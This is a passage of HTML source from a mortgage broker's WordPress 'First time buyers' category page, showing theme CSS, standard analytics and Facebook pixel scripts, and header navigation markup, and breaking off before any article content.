767px){.entry-content-wrap{padding:1.5rem;}}.entry.single-entry{box-shadow:0px 15px 15px -10px rgba(0,0,0,0.05);}.entry.loop-entry{box-shadow:0px 15px 15px -10px rgba(0,0,0,0.05);}.loop-entry .entry-content-wrap{padding:2rem;}@media all and (max-width: 1024px){.loop-entry .entry-content-wrap{padding:2rem;}}@media all and (max-width: 767px){.loop-entry .entry-content-wrap{padding:1.5rem;}}.primary-sidebar.widget-area .widget{margin-bottom:1.5em;color:var(--global-palette4);}.primary-sidebar.widget-area .widget-title{font-weight:700;font-size:20px;line-height:1.5;color:var(--global-palette3);}button, .button, .wp-block-button__link, input[type="button"], input[type="reset"], input[type="submit"], .fl-button, .elementor-button-wrapper .elementor-button, .wc-block-components-checkout-place-order-button, .wc-block-cart__submit{box-shadow:0px 0px 0px -7px rgba(0,0,0,0);}button:hover, button:focus, button:active, .button:hover, .button:focus, .button:active, .wp-block-button__link:hover, .wp-block-button__link:focus, .wp-block-button__link:active, input[type="button"]:hover, input[type="button"]:focus, input[type="button"]:active, input[type="reset"]:hover, input[type="reset"]:focus, input[type="reset"]:active, input[type="submit"]:hover, input[type="submit"]:focus, input[type="submit"]:active, .elementor-button-wrapper .elementor-button:hover, .elementor-button-wrapper .elementor-button:focus, .elementor-button-wrapper .elementor-button:active, .wc-block-cart__submit:hover{box-shadow:0px 15px 25px -7px rgba(0,0,0,0.1);}.kb-button.kb-btn-global-outline.kb-btn-global-inherit{padding-top:calc(px - 2px);padding-right:calc(px - 2px);padding-bottom:calc(px - 2px);padding-left:calc(px - 2px);}@media all and (min-width: 1025px){.transparent-header .entry-hero .entry-hero-container-inner{padding-top:calc(0px + 80px);}}@media all and (max-width: 1024px){.mobile-transparent-header .entry-hero .entry-hero-container-inner{padding-top:calc(0px + 80px);}}@media all and (max-width: 767px){.mobile-transparent-header .entry-hero .entry-hero-container-inner{padding-top:calc(0px + 80px);}}
/* Kadence Header CSS */
@media all and (max-width: 1024px){.mobile-transparent-header #masthead{position:absolute;left:0px;right:0px;z-index:100;}.kadence-scrollbar-fixer.mobile-transparent-header #masthead{right:var(--scrollbar-offset,0);}.mobile-transparent-header #masthead, .mobile-transparent-header .site-top-header-wrap .site-header-row-container-inner, .mobile-transparent-header .site-main-header-wrap .site-header-row-container-inner, .mobile-transparent-header .site-bottom-header-wrap .site-header-row-container-inner{background:transparent;}.site-header-row-tablet-layout-fullwidth, .site-header-row-tablet-layout-standard{padding:0px;}}@media all and (min-width: 1025px){.transparent-header #masthead{position:absolute;left:0px;right:0px;z-index:100;}.transparent-header.kadence-scrollbar-fixer #masthead{right:var(--scrollbar-offset,0);}.transparent-header #masthead, .transparent-header .site-top-header-wrap .site-header-row-container-inner, .transparent-header .site-main-header-wrap .site-header-row-container-inner, .transparent-header .site-bottom-header-wrap .site-header-row-container-inner{background:transparent;}}.site-branding a.brand img{max-width:200px;}.site-branding a.brand img.svg-logo-image{width:200px;}.site-branding{padding:0px 0px 0px 0px;}#masthead, #masthead .kadence-sticky-header.item-is-fixed:not(.item-at-start):not(.site-header-row-container):not(.site-main-header-wrap), #masthead .kadence-sticky-header.item-is-fixed:not(.item-at-start) > .site-header-row-container-inner{background:#ffffff;}.site-main-header-inner-wrap{min-height:80px;}.site-top-header-inner-wrap{min-height:0px;}.header-navigation[class*="header-navigation-style-underline"] .header-menu-container.primary-menu-container>ul>li>a:after{width:calc( 100% - 1.2em);}.main-navigation .primary-menu-container > ul > li.menu-item > a{padding-left:calc(1.2em / 2);padding-right:calc(1.2em / 2);padding-top:0.6em;padding-bottom:0.6em;color:var(--global-palette5);}.main-navigation .primary-menu-container > ul > li.menu-item .dropdown-nav-special-toggle{right:calc(1.2em / 2);}.main-navigation .primary-menu-container > ul > li.menu-item > a:hover{color:var(--global-palette-highlight);}.main-navigation .primary-menu-container > ul > li.menu-item.current-menu-item > a{color:var(--global-palette3);}.header-navigation .header-menu-container ul ul.sub-menu, .header-navigation .header-menu-container ul ul.submenu{background:var(--global-palette3);box-shadow:0px 2px 13px 0px rgba(0,0,0,0.1);}.header-navigation .header-menu-container ul ul li.menu-item, .header-menu-container ul.menu > li.kadence-menu-mega-enabled > ul > li.menu-item > a{border-bottom:1px solid rgba(255,255,255,0.1);}.header-navigation .header-menu-container ul ul li.menu-item > a{width:200px;padding-top:1em;padding-bottom:1em;color:var(--global-palette8);font-size:12px;}.header-navigation .header-menu-container ul ul li.menu-item > a:hover{color:var(--global-palette9);background:var(--global-palette4);}.header-navigation .header-menu-container ul ul li.menu-item.current-menu-item > a{color:var(--global-palette9);background:var(--global-palette4);}.mobile-toggle-open-container .menu-toggle-open, .mobile-toggle-open-container .menu-toggle-open:focus{color:var(--global-palette5);padding:0.4em 0.6em 0.4em 0.6em;font-size:14px;}.mobile-toggle-open-container .menu-toggle-open.menu-toggle-style-bordered{border:1px solid currentColor;}.mobile-toggle-open-container .menu-toggle-open .menu-toggle-icon{font-size:20px;}.mobile-toggle-open-container .menu-toggle-open:hover, .mobile-toggle-open-container .menu-toggle-open:focus-visible{color:var(--global-palette-highlight);}.mobile-navigation ul li{font-style:normal;font-weight:normal;font-size:18px;line-height:1.5;}.mobile-navigation ul li a{padding-top:1em;padding-bottom:1em;}.mobile-navigation ul li > a, .mobile-navigation ul li.menu-item-has-children > .drawer-nav-drop-wrap{background:var(--global-palette9);color:var(--global-palette3);}.mobile-navigation ul li.current-menu-item > a, .mobile-navigation ul li.current-menu-item.menu-item-has-children > .drawer-nav-drop-wrap{color:var(--global-palette3);}.mobile-navigation ul li.menu-item-has-children .drawer-nav-drop-wrap, .mobile-navigation ul li:not(.menu-item-has-children) a{border-bottom:0px solid rgba(255,255,255,0.1);}.mobile-navigation:not(.drawer-navigation-parent-toggle-true) ul li.menu-item-has-children .drawer-nav-drop-wrap button{border-left:0px solid rgba(255,255,255,0.1);}#mobile-drawer .drawer-inner, #mobile-drawer.popup-drawer-layout-fullwidth.popup-drawer-animation-slice .pop-portion-bg, #mobile-drawer.popup-drawer-layout-fullwidth.popup-drawer-animation-slice.pop-animated.show-drawer .drawer-inner{background:var(--global-palette9);}#mobile-drawer .drawer-header .drawer-toggle{padding:0.6em 0.15em 0.6em 0.15em;font-size:24px;}#mobile-drawer .drawer-header .drawer-toggle, #mobile-drawer .drawer-header .drawer-toggle:focus{color:var(--global-palette9);background:#231f58;}#main-header .header-button{font-style:normal;font-size:16px;line-height:1.5;border-radius:4px 4px 4px 4px;color:#293276;background:#ffd400;border:2px none transparent;box-shadow:0px 0px 0px -7px rgba(0,0,0,0);}#main-header .header-button:hover{box-shadow:0px 15px 25px -7px rgba(0,0,0,0.1);}.header-social-wrap{margin:0px 0px 0px 0px;}.header-social-wrap .header-social-inner-wrap{font-size:24px;gap:8px;}.header-social-wrap .header-social-inner-wrap .social-button{color:#ffd400;background:var(--global-palette3);border:2px none transparent;border-radius:100px;}.header-social-wrap .header-social-inner-wrap .social-button:hover{color:var(--global-palette2);background:var(--global-palette3);}.header-mobile-social-wrap{margin:0px 0px 0px 0px;}.header-mobile-social-wrap .header-mobile-social-inner-wrap{font-size:24px;gap:8px;}.header-mobile-social-wrap .header-mobile-social-inner-wrap .social-button{color:#293276;background:var(--global-palette9);border:2px none transparent;border-radius:100px;}.mobile-header-button-wrap .mobile-header-button-inner-wrap .mobile-header-button{border-radius:4px 4px 4px 4px;color:#231f58;background:var(--global-palette2);border:2px none transparent;box-shadow:0px 0px 0px -7px rgba(0,0,0,0);}.mobile-header-button-wrap .mobile-header-button-inner-wrap .mobile-header-button:hover{box-shadow:0px 15px 25px -7px rgba(0,0,0,0.1);}
/* Kadence Footer CSS */
.site-top-footer-inner-wrap{padding-top:30px;padding-bottom:30px;grid-column-gap:30px;grid-row-gap:30px;}.site-top-footer-inner-wrap .widget{margin-bottom:30px;}.site-top-footer-inner-wrap .site-footer-section:not(:last-child):after{right:calc(-30px / 2);}.site-bottom-footer-inner-wrap{padding-top:30px;padding-bottom:30px;grid-column-gap:30px;}.site-bottom-footer-inner-wrap .widget{margin-bottom:30px;}.site-bottom-footer-inner-wrap .site-footer-section:not(:last-child):after{right:calc(-30px / 2);}.footer-social-wrap{margin:0px 0px 0px 0px;}.footer-social-wrap .footer-social-inner-wrap{font-size:1em;gap:8px;}.site-footer .site-footer-wrap .site-footer-section .footer-social-wrap .footer-social-inner-wrap .social-button{color:#ffd400;background:#060807;border:2px none transparent;border-radius:100px;}.site-footer .site-footer-wrap .site-footer-section .footer-social-wrap .footer-social-inner-wrap .social-button:hover{color:#ffd400;background:#060807;}#colophon .footer-html{font-style:normal;font-size:14px;line-height:1.5;}
</style>
<link rel='stylesheet' id='kadence-header-css' href='https://intuitivefinance.com.au/wp-content/themes/kadence/assets/css/header.min.css?ver=1.2.12' media='all' />
<link rel='stylesheet' id='kadence-content-css' href='https://intuitivefinance.com.au/wp-content/themes/kadence/assets/css/content.min.css?ver=1.2.12' media='all' />
<link rel='stylesheet' id='kadence-sidebar-css' href='https://intuitivefinance.com.au/wp-content/themes/kadence/assets/css/sidebar.min.css?ver=1.2.12' media='all' />
<link rel='stylesheet' id='kadence-footer-css' href='https://intuitivefinance.com.au/wp-content/themes/kadence/assets/css/footer.min.css?ver=1.2.12' media='all' />
<style id='kadence-blocks-global-variables-inline-css'>
:root {--global-kb-font-size-sm:clamp(0.8rem, 0.73rem + 0.217vw, 0.9rem);--global-kb-font-size-md:clamp(1.1rem, 0.995rem + 0.326vw, 1.25rem);--global-kb-font-size-lg:clamp(1.75rem, 1.576rem + 0.543vw, 2rem);--global-kb-font-size-xl:clamp(2.25rem, 1.728rem + 1.63vw, 3rem);--global-kb-font-size-xxl:clamp(2.5rem, 1.456rem + 3.26vw, 4rem);--global-kb-font-size-xxxl:clamp(2.75rem, 0.489rem + 7.065vw, 6rem);}
</style>
<style id="kadence_blocks_palette_css">:root .has-kb-palette-6-color{color:#575757}:root .has-kb-palette-6-background-color{background-color:#575757}:root .has-kb-palette-7-color{color:#7f7f7f}:root .has-kb-palette-7-background-color{background-color:#7f7f7f}:root .has-kb-palette-2-color{color:#231f58}:root .has-kb-palette-2-background-color{background-color:#231f58}:root .has-kb-palette-3-color{color:#f4f3f4}:root .has-kb-palette-3-background-color{background-color:#f4f3f4}:root .has-kb-palette-4-color{color:#50588e}:root .has-kb-palette-4-background-color{background-color:#50588e}:root .has-kb-palette-5-color{color:#293276}:root .has-kb-palette-5-background-color{background-color:#293276}</style><script src="https://intuitivefinance.com.au/wp-includes/js/jquery/jquery.min.js?ver=3.7.1" id="jquery-core-js"></script>
<script src="https://intuitivefinance.com.au/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1" id="jquery-migrate-js"></script>
<script defer="defer" src="https://intuitivefinance.com.au/wp-content/plugins/widget-google-reviews/assets/js/public-main.js?ver=5.0" id="grw-public-main-js-js"></script>
<script src="https://intuitivefinance.com.au/wp-content/themes/kadence-child/js/alpinejs_intersect_3.x.x.min.js?ver=3.x.x" id="alpinejs_intersect-js"></script>
<script defer src="https://intuitivefinance.com.au/wp-content/themes/kadence-child/js/alpinejs_collective_toolkit.1.0.2.min.js?ver=1.0.2" id="alpinejs_toolkit-js"></script><script defer src="https://intuitivefinance.com.au/wp-content/themes/kadence-child/js/alpinejs.3.13.0.min.js?ver=3.13.0" id="alpinejs-js"></script><script src="https://intuitivefinance.com.au/wp-content/plugins/pixelyoursite-pro/dist/scripts/js.cookie-2.1.3.min.js?ver=2.1.3" id="js-cookie-js"></script>
<script src="https://intuitivefinance.com.au/wp-content/plugins/pixelyoursite-pro/dist/scripts/jquery.bind-first-0.2.3.min.js?ver=6.6.2" id="jquery-bind-first-js"></script>
<script src="https://intuitivefinance.com.au/wp-content/plugins/pixelyoursite-pro/dist/scripts/vimeo.min.js?ver=6.6.2" id="vimeo-js"></script>
<script id="pys-js-extra">
var pysOptions = {"staticEvents":{"facebook":{"init_event":[{"delay":0,"type":"static","name":"PageView","pixelIds":["600791710546829"],"eventID":"a7ec5fd4-19a5-4b77-8569-98518b73eaab","params":{"post_category":"First time buyers, Home buying & selling","page_title":"First time buyers","post_type":"category","post_id":90,"plugin":"PixelYourSite","event_url":"intuitivefinance.com.au\/first-time-buyers\/page\/2\/","user_role":"guest"},"e_id":"init_event","ids":[],"hasTimeWindow":false,"timeWindow":0,"woo_order":"","edd_order":""}]}},"dynamicEvents":{"signal_click":{"facebook":{"delay":0,"type":"dyn","name":"Signal","pixelIds":["600791710546829"],"eventID":"e4eecdb4-375c-488f-8b3d-8454df7d856c","params":{"page_title":"First time buyers","post_type":"category","post_id":90,"plugin":"PixelYourSite","event_url":"intuitivefinance.com.au\/first-time-buyers\/page\/2\/","user_role":"guest"},"e_id":"signal_click","ids":[],"hasTimeWindow":false,"timeWindow":0,"woo_order":"","edd_order":""}},"signal_watch_video":{"facebook":{"delay":0,"type":"dyn","name":"Signal","pixelIds":["600791710546829"],"eventID":"1cf03100-6e8b-4d6a-b6cd-5bcb2a336069","params":{"event_action":"Video ","page_title":"First time buyers","post_type":"category","post_id":90,"plugin":"PixelYourSite","event_url":"intuitivefinance.com.au\/first-time-buyers\/page\/2\/","user_role":"guest"},"e_id":"signal_watch_video","ids":[],"hasTimeWindow":false,"timeWindow":0,"woo_order":"","edd_order":""}},"signal_adsense":{"facebook":{"delay":0,"type":"dyn","name":"Signal","pixelIds":["600791710546829"],"eventID":"d04af5cd-f627-45b2-8d3d-993da6f482c0","params":{"event_action":"Adsense","page_title":"First time buyers","post_type":"category","post_id":90,"plugin":"PixelYourSite","event_url":"intuitivefinance.com.au\/first-time-buyers\/page\/2\/","user_role":"guest"},"e_id":"signal_adsense","ids":[],"hasTimeWindow":false,"timeWindow":0,"woo_order":"","edd_order":""}},"signal_tel":{"facebook":{"delay":0,"type":"dyn","name":"Signal","pixelIds":["600791710546829"],"eventID":"a3c2330e-9681-4c5c-a54e-c753f319b559","params":{"event_action":"Tel","page_title":"First time buyers","post_type":"category","post_id":90,"plugin":"PixelYourSite","event_url":"intuitivefinance.com.au\/first-time-buyers\/page\/2\/","user_role":"guest"},"e_id":"signal_tel","ids":[],"hasTimeWindow":false,"timeWindow":0,"woo_order":"","edd_order":""}},"signal_email":{"facebook":{"delay":0,"type":"dyn","name":"Signal","pixelIds":["600791710546829"],"eventID":"e86aa4dd-7680-4965-a505-0fb2978e412a","params":{"event_action":"Email","page_title":"First time buyers","post_type":"category","post_id":90,"plugin":"PixelYourSite","event_url":"intuitivefinance.com.au\/first-time-buyers\/page\/2\/","user_role":"guest"},"e_id":"signal_email","ids":[],"hasTimeWindow":false,"timeWindow":0,"woo_order":"","edd_order":""}},"signal_form":{"facebook":{"delay":0,"type":"dyn","name":"Signal","pixelIds":["600791710546829"],"eventID":"cc627915-948a-4cab-8e10-22edec932532","params":{"event_action":"Form","page_title":"First time buyers","post_type":"category","post_id":90,"plugin":"PixelYourSite","event_url":"intuitivefinance.com.au\/first-time-buyers\/page\/2\/","user_role":"guest"},"e_id":"signal_form","ids":[],"hasTimeWindow":false,"timeWindow":0,"woo_order":"","edd_order":""}},"signal_download":{"facebook":{"delay":0,"type":"dyn","name":"Signal","extensions":["","doc","exe","js","pdf","ppt","tgz","zip","xls"],"pixelIds":["600791710546829"],"eventID":"d1a624f8-49b9-446a-9963-47c1604e0935","params":{"event_action":"Download","page_title":"First time buyers","post_type":"category","post_id":90,"plugin":"PixelYourSite","event_url":"intuitivefinance.com.au\/first-time-buyers\/page\/2\/","user_role":"guest"},"e_id":"signal_download","ids":[],"hasTimeWindow":false,"timeWindow":0,"woo_order":"","edd_order":""}},"signal_comment":{"facebook":{"delay":0,"type":"dyn","name":"Signal","pixelIds":["600791710546829"],"eventID":"86229872-a88f-4c29-b24c-3897006e4d07","params":{"event_action":"Comment","page_title":"First time buyers","post_type":"category","post_id":90,"plugin":"PixelYourSite","event_url":"intuitivefinance.com.au\/first-time-buyers\/page\/2\/","user_role":"guest"},"e_id":"signal_comment","ids":[],"hasTimeWindow":false,"timeWindow":0,"woo_order":"","edd_order":""}}},"triggerEvents":[],"triggerEventTypes":[],"facebook":{"pixelIds":["600791710546829"],"defoultPixelIds":["600791710546829"],"advancedMatching":[],"removeMetadata":false,"wooVariableAsSimple":false,"serverApiEnabled":true,"ajaxForServerEvent":true,"wooCRSendFromServer":false,"send_external_id":true},"debug":"","siteUrl":"https:\/\/intuitivefinance.com.au","ajaxUrl":"https:\/\/intuitivefinance.com.au\/wp-admin\/admin-ajax.php","trackUTMs":"1","trackTrafficSource":"1","user_id":"0","enable_lading_page_param":"1","cookie_duration":"7","signal_watch_video_enabled":"1","enable_event_day_param":"1","enable_event_month_param":"1","enable_event_time_param":"1","enable_remove_target_url_param":"1","enable_remove_download_url_param":"1","gdpr":{"ajax_enabled":false,"all_disabled_by_api":false,"facebook_disabled_by_api":false,"analytics_disabled_by_api":false,"google_ads_disabled_by_api":false,"pinterest_disabled_by_api":false,"bing_disabled_by_api":false,"facebook_prior_consent_enabled":true,"analytics_prior_consent_enabled":true,"google_ads_prior_consent_enabled":true,"pinterest_prior_consent_enabled":true,"bing_prior_consent_enabled":true,"cookiebot_integration_enabled":false,"cookiebot_facebook_consent_category":"marketing","cookiebot_analytics_consent_category":"statistics","cookiebot_google_ads_consent_category":"marketing","cookiebot_pinterest_consent_category":"marketing","cookiebot_bing_consent_category":"marketing","cookie_notice_integration_enabled":false,"cookie_law_info_integration_enabled":false,"real_cookie_banner_integration_enabled":false,"consent_magic_integration_enabled":false},"edd":{"enabled":false},"woo":{"enabled":false}};
</script>
<script src="https://intuitivefinance.com.au/wp-content/plugins/pixelyoursite-pro/dist/scripts/public.js?ver=8.4.0" id="pys-js"></script>
<link rel="https://api.w.org/" href="https://intuitivefinance.com.au/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://intuitivefinance.com.au/wp-json/wp/v2/categories/90" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://intuitivefinance.com.au/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 6.6.2" />

<!-- This site is using AdRotate v5.13.5 to display their advertisements - https://ajdg.solutions/ -->
<!-- AdRotate CSS -->
<style type="text/css" media="screen">
	.g { margin:0px; padding:0px; overflow:hidden; line-height:1; zoom:1; }
	.g img { height:auto; }
	.g-col { position:relative; float:left; }
	.g-col:first-child { margin-left: 0; }
	.g-col:last-child { margin-right: 0; }
	@media only screen and (max-width: 480px) {
		.g-col, .g-dyn, .g-single { width:100%; margin-left:0; margin-right:0; }
	}
</style>
<!-- /AdRotate CSS -->

<!-- start Simple Custom CSS and JS -->
<!-- Google Tag Manager -->
<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
})(window,document,'script','dataLayer','GTM-TC9L8FJ9');</script>
<!-- End Google Tag Manager --><!-- end Simple Custom CSS and JS -->
<!-- start Simple Custom CSS and JS -->
<!-- Google tag (gtag.js) -->
<script async src="https://www.googletagmanager.com/gtag/js?id=G-BLF20Y9Q8Z"></script>
<script>
  window.dataLayer = window.dataLayer || [];
  function gtag(){dataLayer.push(arguments);}
  gtag('js', new Date());

  gtag('config', 'G-BLF20Y9Q8Z');
</script>

<meta name="google-site-verification" content="pkpQlMHgip0UEDHJS0t6PrpfF3w687AcNTEh6GKH0Us" />
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- end Simple Custom CSS and JS -->
<!-- start Simple Custom CSS and JS -->
<script>
/* Default comment here */ 

jQuery(document).ready(function(){
	jQuery(document).on('click', '.guidebtmdwnldbtn', function(event){
		event.preventDefault();
		jQuery("html").animate({ scrollTop: 0 }, "slow");
	});
});

</script>
<!-- end Simple Custom CSS and JS -->
<link rel="icon" href="https://intuitivefinance.com.au/wp-content/uploads/2024/10/favicon-150x150.png" sizes="32x32" />
<link rel="icon" href="https://intuitivefinance.com.au/wp-content/uploads/2024/10/favicon-300x300.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://intuitivefinance.com.au/wp-content/uploads/2024/10/favicon-300x300.png" />
<meta name="msapplication-TileImage" content="https://intuitivefinance.com.au/wp-content/uploads/2024/10/favicon-300x300.png" />
</head>

<body class="archive paged category category-first-time-buyers category-90 wp-custom-logo wp-embed-responsive paged-2 category-paged-2 hfeed footer-on-bottom hide-focus-outline link-style-standard has-sidebar content-title-style-above content-width-normal content-style-boxed content-vertical-padding-show non-transparent-header mobile-non-transparent-header" x-data="{modalOverlay:false}" :class="{dim:modalOverlay}">
<div id="wrapper" class="site wp-site-blocks" >
			<a class="skip-link screen-reader-text scroll-ignore" href="#main">Skip to content</a>
		<header id="masthead" class="site-header" role="banner" itemtype="https://schema.org/WPHeader" itemscope>
	<div id="main-header" class="site-header-wrap">
		<div class="site-header-inner-wrap">
			<div class="site-header-upper-wrap">
				<div class="site-header-upper-inner-wrap">
					<div class="site-top-header-wrap site-header-row-container site-header-focus-item site-header-row-layout-standard" data-section="kadence_customizer_header_top">
	<div class="site-header-row-container-inner">
				<div class="site-container">
			<div class="site-top-header-inner-wrap site-header-row site-header-row-has-sides site-header-row-no-center">
									<div class="site-header-top-section-left site-header-section site-header-section-left">
						<div class="site-header-item site-header-focus-item" data-section="kadence_customizer_header_html">
	<div class="header-html inner-link-style-normal"><div class="header-html-inner"><ul class="top_left_actions">
<li><a class="icon_cal" href="/appointments/">Book a Consultation</a></li>
<li><a class="icon_tel" href="tel:1300342505">1300 342 505</a></li>
</ul>
</div></div></div><!-- data-section="header_html" -->
					</div>
																	<div class="site-header-top-section-right site-header-section site-header-section-right">
						<div class="site-header-item site-header-focus-item" data-section="kadence_customizer_header_social">
	<div class="header-social-wrap"><div class="header-social-inner-wrap element-social-inner-wrap social-show-label-false social-style-filled"><a href="https://www.facebook.com/IntuitiveFinance" aria-label="Facebook" target="_blank" rel="noopener noreferrer"  class="social-button header-social-item social-link-facebook"><span class="social-icon-custom-svg" style="max-width:24px"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="25" viewBox="0 0 24 25" fill="none"><title>Facebook</title><g clip-path="url(#clip0_2727_2965)">     <path d="M24 12.5C24 5.87188 18.6281 0.5 12 0.5C5.37188 0.5 0 5.87188 0 12.5C0 18.4906 4.3875 23.4547 10.125 24.3547V15.9688H7.07812V12.5H10.125V9.85625C10.125 6.84922 11.9156 5.1875 14.6578 5.1875C15.9703 5.1875 17.3438 5.42188 17.3438 5.42188V8.375H15.8297C14.3391 8.375 13.875 9.30078 13.875 10.25V12.5H17.2031L16.6711 15.9688H13.875V24.3547C19.6125 23.4547 24 18.4906 24 12.5Z" fill="#FFD400"></path>   </g>   <defs>     <clipPath id="clip0_2727_2965">       <rect width="24" height="24" fill="white" transform="translate(0 0.5)"></rect>     </clipPath>   </defs> </svg></span></a><a href="https://www.youtube.com/channel/UClJk4jLqboW1xaqGaiAU1Kg" aria-label="YouTube" target="_blank" rel="noopener noreferrer"  class="social-button header-social-item social-link-youtube"><span class="social-icon-custom-svg" style="max-width:24px"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="25" viewBox="0 0 24 25" fill="none"><title>Youtube</title><path fill-rule="evenodd" clip-rule="evenodd" d="M12 0.5C5.37258 0.5 0 5.87258 0 12.5C0 19.1274 5.37258 24.5 12 24.5C18.6274 24.5 24 19.1274 24 12.5C24 5.87258 18.6274 0.5 12 0.5ZM17.0008 8.37466C17.5516 8.5258 17.9853 8.97111 18.1325 9.53661C18.4 10.5615 18.4 12.7 18.4 12.7C18.4 12.7 18.4 14.8384 18.1325 15.8634C17.9853 16.4289 17.5516 16.8742 17.0008 17.0254C16.0027 17.3 12 17.3 12 17.3C12 17.3 7.99732 17.3 6.99913 17.0254C6.44837 16.8742 6.01462 16.4289 5.86742 15.8634C5.60001 14.8384 5.60001 12.7 5.60001 12.7C5.60001 12.7 5.60001 10.5615 5.86742 9.53661C6.01462 8.97111 6.44837 8.5258 6.99913 8.37466C7.99732 8.1 12 8.1 12 8.1C12 8.1 16.0027 8.1 17.0008 8.37466Z" fill="#FFD400"></path>   <path d="M10.8 14.8999V10.8999L14 12.9L10.8 14.8999Z" fill="#FFD400"></path> </svg></span></a><a href="https://www.linkedin.com/company/intuitive-finance-pty-ltd-australia-/?trk=public_profile_topcard-current-company" aria-label="Linkedin" target="_blank" rel="noopener noreferrer"  class="social-button header-social-item social-link-linkedin"><span class="social-icon-custom-svg" style="max-width:24px"><svg fill="none" viewBox="0 0 24 25" height="25" width="24" xmlns="http://www.w3.org/2000/svg"><title>LinkedIn</title><path fill="#FFD400" d="M12 0.5C5.37258 0.5 0 5.87258 0 12.5C0 19.1274 5.37258 24.5 12 24.5C18.6274 24.5 24 19.1274 24 12.5C24 5.87258 18.6274 0.5 12 0.5ZM5.7608 10.4389H8.48027V18.6098H5.7608V10.4389ZM8.65939 7.91135C8.64174 7.1102 8.06883 6.5 7.13852 6.5C6.20821 6.5 5.60001 7.1102 5.60001 7.91135C5.60001 8.6959 6.19023 9.32367 7.10322 9.32367H7.1206C8.06883 9.32367 8.65939 8.6959 8.65939 7.91135ZM15.1566 10.2471C16.9461 10.2471 18.2877 11.4151 18.2877 13.9249L18.2876 18.6098H15.5682V14.2384C15.5682 13.1404 15.1747 12.3911 14.1903 12.3911C13.4389 12.3911 12.9914 12.8962 12.7949 13.3841C12.723 13.5589 12.7053 13.8025 12.7053 14.0467V18.61H9.98555C9.98555 18.61 10.0214 11.2059 9.98555 10.4391H12.7053V11.5965C13.0663 11.0401 13.7127 10.2471 15.1566 10.2471Z" clip-rule="evenodd" fill-rule="evenodd"></path> </svg></span></a></div></div></div><!-- data-section="header_social" -->
					</div>
							</div>
		</div>
	</div>
</div>
<div class="site-main-header-wrap site-header-row-container site-header-focus-item site-header-row-layout-standard kadence-sticky-header" data-section="kadence_customizer_header_main" data-reveal-scroll-up="true" data-shrink="false">
	<div class="site-header-row-container-inner">
				<div class="site-container">
			<div class="site-main-header-inner-wrap site-header-row site-header-row-has-sides site-header-row-no-center">
									<div class="site-header-main-section-left site-header-section site-header-section-left">
						<div class="site-header-item site-header-focus-item" data-section="title_tagline">
	<div class="site-branding branding-layout-standard site-brand-logo-only"><a class="brand has-logo-image" href="https://intuitivefinance.com.au/" rel="home"><picture class="custom-logo" decoding="async">
<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/2024/09/intuitive_finance_logo.png.webp"/>
<img width="260" height="90" src="https://intuitivefinance.com.au/wp-content/uploads/2024/09/intuitive_finance_logo.png" alt="Intuitive Finance" decoding="async"/>
</picture>
</a></div></div><!-- data-section="title_tagline" -->
					</div>
																	<div class="site-header-main-section-right site-header-section site-header-section-right">
						<div class="site-header-item site-header-focus-item site-header-item-main-navigation header-navigation-layout-stretch-false header-navigation-layout-fill-stretch-false" data-section="kadence_customizer_primary_navigation">
	    <div x-data="{ openMenus: {}, closeMenus() { this.openMenus = {}; } }" @click.outside="closeMenus()">
    <div class="menu-main-header-menu-container"><ul id="x-primary-menu" class="menu"><li class="home menu-item menu-item-type-custom menu-item-object-custom" :class="{'active': openMenus[0] === 'submenu-19529-0'}"><a href="/">Home</a></li><li class=" menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children" :class="{'active': openMenus[0] === 'submenu-5490-0'}"><a href="#" @click.stop.prevent="openMenus[1]={};openMenus[2]={};openMenus[3]={};openMenus[0] = openMenus[0] === 'submenu-5490-0' ? null : 'submenu-5490-0'">About</a>
                <button @click.stop.prevent="openMenus[1]={};openMenus[2]={};openMenus[3]={};openMenus[0] = openMenus[0] === 'submenu-5490-0' ? null : 'submenu-5490-0'"
                    x-bind:aria-expanded="openMenus[0] === 'submenu-5490-0'" 
                    class="submenu-toggle">
                    <svg xmlns="http://www.w3.org/2000/svg" width="20" height="21" viewBox="0 0 20 21" fill="none">
                        <path d="M10.3314 13.9892C10.1484 14.1723 9.8516 14.1723 9.66854 13.9892L4.88949 9.21014C4.70643 9.02707 4.70643 8.73032 4.88949 8.54726L5.11046 8.32626C5.29352 8.1432 5.59031 8.1432 5.77338 8.32626L9.99998 12.5529L14.2266 8.32626C14.4097 8.1432 14.7064 8.1432 14.8895 8.32626L15.1105 8.54726C15.2935 8.73032 15.2935 9.02707 15.1105 9.21014L10.3314 13.9892Z" fill="currentColor"/>
                    </svg>
                </button><ul class="sub-menu lvl_1" x-show="openMenus[0] === 'submenu-5490-0'" x-cloak><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[1] === 'submenu-9450-1'}"><a href="https://intuitivefinance.com.au/what-makes-us-different/">What Makes Us Different</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[1] === 'submenu-11635-1'}"><a href="https://intuitivefinance.com.au/testimonials/">Testimonials</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[1] === 'submenu-16055-1'}"><a href="https://intuitivefinance.com.au/careers/">Broker &#038; Administration Careers</a></li></ul></li><li class="xmega-menu cursor-default menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children" :class="{'active': openMenus[0] === 'submenu-20372-0'}"><a href="#" @click.stop.prevent="openMenus[1]={};openMenus[2]={};openMenus[3]={};openMenus[0] = openMenus[0] === 'submenu-20372-0' ? null : 'submenu-20372-0'">Loans</a>
                <button @click.stop.prevent="openMenus[1]={};openMenus[2]={};openMenus[3]={};openMenus[0] = openMenus[0] === 'submenu-20372-0' ? null : 'submenu-20372-0'"
                    x-bind:aria-expanded="openMenus[0] === 'submenu-20372-0'" 
                    class="submenu-toggle">
